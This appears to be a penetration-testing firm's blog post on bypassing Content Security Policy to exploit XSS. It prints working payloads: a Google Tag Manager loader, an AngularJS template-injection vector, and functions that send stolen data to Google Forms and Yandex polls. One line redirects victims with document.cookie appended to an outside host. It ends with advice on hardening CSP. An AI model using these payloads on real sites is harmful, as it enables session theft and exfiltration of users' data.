Content Security Policy (CSP) is an optional security mechanism built into browsers to prevent Cross Site Scripting (XSS).  

CSP allows you to define whitelisting sources for JavaScript connection, styles, images, frames, creating connections. Also, CSP can regulate the ability to execute inline scripts, the ability to connect the current page in a frame, etc.

Let’s look at the various CSP configurations and workarounds.

In some cases, the CSP allows execution of inline scripts (the unsafe-inline directive), and the Content-Security-Policy header is not displayed on all pages (it is not issued by the balancer, but by the backend, or the policy is set via the meta tag). In this case, you can open a page for which the policy is not set and overwrite its contents. At the same time, if the directive frame-src restricts the creation of frames, you will have to resort to creating a window through window.open.

Consider various options for exploiting XSS when conditions are harsher and the above method does not work.

Exploitation boils down to two steps: first you need to learn how to execute arbitrary code, and then – get the necessary data from a page in the victim’s browser.

Code Execution

Let’s consider some common ways to bypass the CSP for code execution, depending on the presence or absence of the unsafe-inline and unsafe-eval directives in the policy.

There is unsafe-inline

Example policy:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;

Inline execution

With the unsafe-inline policy enabled, we can execute code in script tags without any problems. 

Google Tag Manager

Sometimes it becomes necessary to collect a lot of information by executing a rather voluminous script. All the code may not fit in the vector, and in this case it must be dynamically loaded from some source.

In our case, you can look at the policy and see that it is allowed to execute scripts from the www.googletagmanager.com domain. In this service, you can save custom html, into which, fortunately, you can insert your own JS code. Please note that the ECMAScript6 specification is not supported by default. 

You can insert your code by adding tags. For example, let’s try to add the alert code and embed it on a site with a configured CSP policy.

To execute the code from the Tag Manager, you need to insert a block:

123456<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({‘gtm.start’:new Date().getTime(),event:’gtm.js’});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!=’dataLayer’?’&l=’+l:”;j.async=true;j.src=’https://www.googletagmanager.com/gtm.js?id=’+i+dl;f.parentNode.insertBefore(j,f);})(window,document,’script’,’dataLayer’,’GTM-*******’);</script>

You can shorten the code as follows:

12<script>setTimeout(function(){dataLayer.push({event:’gtm.js’})},1000)</script><script src=”//www.googletagmanager.com/gtm.js?id=GTM-*******”></script>

Only the id changes here, which you can see in your Tag Manager’s personal account.

The point is to connect the gtm.js script and add the ‘gtm.js’ event to the queue, during which the script will be executed.

There is unsafe-eval

Example policy:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;

CDN and CSTI

With the unsafe-eval policy enabled, we can perform a Client-Side Template Injection attack.

If a templating library (such as Vue.JS, Angular, JQuery, etc.) is not included on the page, we need to include it. The host ajax.googleapis.com is well suited for this, which is very often allowed in the CSP to load some libraries necessary for the site to work.

For example, let’s connect the old version of AngularJS (1.4.6) and execute arbitrary code through template injection. 

Final attack vector:

1<script src=”https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js”></script> <div ng-app> {{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}} </div>

In the vector, we create a div element with an ng-app attribute that activates AngularJS, and in the content we insert a template that exploits the CSTI in AngularJS 1.4.6, which results in the alert (1) code being executed:

DOM-based XSS

In addition to CSTI, any other types of DOM-based XSS, in which the content of some HTML element gets into the eval () call, can help to execute arbitrary code in the presence of unsafe-eval.

No unsafe-inline and unsafe-eval

Example policy:

Content-Security-Policy: default-src 'self'; script-src 'self'  *.googleusercontent.com *.google.com *.yandex.net;

File sharing

If there is a yandex.net domain in script-src, then the script can be connected from Yandex Disk. You need to copy the final download link and replace the value of the content_type parameter in the link with application / javascript, in which case the server will return the appropriate header and the browser will connect the script:

1<script src=”https://[***].storage.yandex.net/[…]content_type=application/javascript&[***]”></script>

Keep in mind that the link to the file is temporary, and after some time (approximately 4 hours) it stops working.

If the script-src contains records * .googleusercontent.com and * .google.com, then the script can be loaded from Google Drive in the same way:

1https://drive.google.com/uc?id=…&export=download

Both entries are required because of the temporary Cookie-ID that is generated before being redirected to * .googleusercontent.com.

File upload or JS / JSON / JSONP injection

It is worth checking the loading functionality of the application, perhaps it allows you to load JS files, then the script can be requested from your own domain.

Non-exploitable content injection in JavaScript or JSON and JSONP hijacking can also help. For example, if there is no validation of the function name in JSONP, you can replace the called function with your own, in which you can write arbitrary JS code:

Sending data

Let’s assume we’ve learned how to execute arbitrary code on a page. Now the task is to extract the data and transfer it to the host we control.

There are allowed hosts

Example policy:

Content-Security-Policy: default-src 'self'; connect-src: 'self' www.google-analytics.com *.google.com *.yandex.ru;

Analytics systems

If the Google Analytics host is allowed in the policy, then we can send data there. Please note that the maximum size of received data per request is 8KB.

The link for sending data looks like this:

https://www.google-analytics.com/collect?v=1&tid=***&cid=123&t=event&ec=email&el=321&cs=newsletter&cm=email&cn=&cm1=1&ea= data

After that, in the events you will see the data that you sent in the ea parameter:

Polling systems, chat rooms, etc.

If the site uses systems with online consultants, you can use them to send data. 

If you have * .google or * .yandex.ru in connect-src, you can use the services that are located on these subdomains, namely google forms and yandex at a glance.

An example of sending data to a Google form is https://docs.google.com/forms .

Everything is pretty simple here, a regular POST request:

1234567function sendit(data) {    var xhr = new XMLHttpRequest();    var params = params=”entry.1359945223=” + data;    xhr.open(‘post’,’https://docs.google.com/forms/d/e/***/formResponse’, true);    xhr.setRequestHeader(‘Content-type’,’application/x-www-form-urlencoded’);     xhr.send(params);}

An example of sending data to Yandex look – 

For Yandex view, it will be necessary to generate a unique ivid, the send function will look something like this:

12345678function sendit(data) {    var http = new XMLHttpRequest();    ivid = Math.floor((10000000 + Math.random() * 99999999) % 100000000) + ”;    var params = JSON.stringify({“answers”:[{“text”:data,”questionId”:”1″}],”_ivid”:ivid+”-ea97-5037-afc1-bf1f77335e4f”,”_seqnum”:3});    http.open(“POST”, “https://www.yandex.ru/poll/api/v0/survey/***/finish”, true);    http.setRequestHeader(“Content-Type”,”application/json”);    http.send(params);}  

No hosts allowed

Example policy:

Content-Security-Policy: default-src 'self'

Redirect

If connection with any hosts is not allowed, you can pass data directly to the URL (in the query string) by redirecting the user to your web server:

1window.location=’https://deteact.com/’+document.cookie;

In-app dispatch

If the application allows you to leave comments, write messages, then you can use this functionality to transfer data within the application. It is enough to register an account that will receive the stolen information in a personal message or in a comment.

What to do?

All this is certainly good, and we have learned how to break, but the more important question is how to defend ourselves?

Do not allow unnecessary

For CSP, the rule is “everything that is not allowed is prohibited”, you should be careful to register the domains to which the browser will be allowed to access. It is often easier for developers to allow unnecessary domains than to figure out what specific host is needed for the front-end to work. Ideally, all the necessary scripts should be located on your hosts, and there should not be anything superfluous there.

You can use https://csp-evaluator.withgoogle.com/ to check the CSP . This site will analyze the exposed policies and show what threats each of them carries. 

Use the report-uri directive

Or the replacement report-to, which will force the browser to report malicious attempts to bypass the CSP on your site. This will help you to react to the attack in time and minimize the risks from it.

Deny unsafe-inline

Or use a nonce and also don’t allow unsafe-eval.

Prevent XSS!

The CSP mechanism is only a compensatory measure that complicates the operation of XSS, but often does not make it impossible.

Conduct a pentest

To check the correctness of the CSP configuration and the resistance of your application to XSS and other attacks, contact us to conduct a web application penetration test .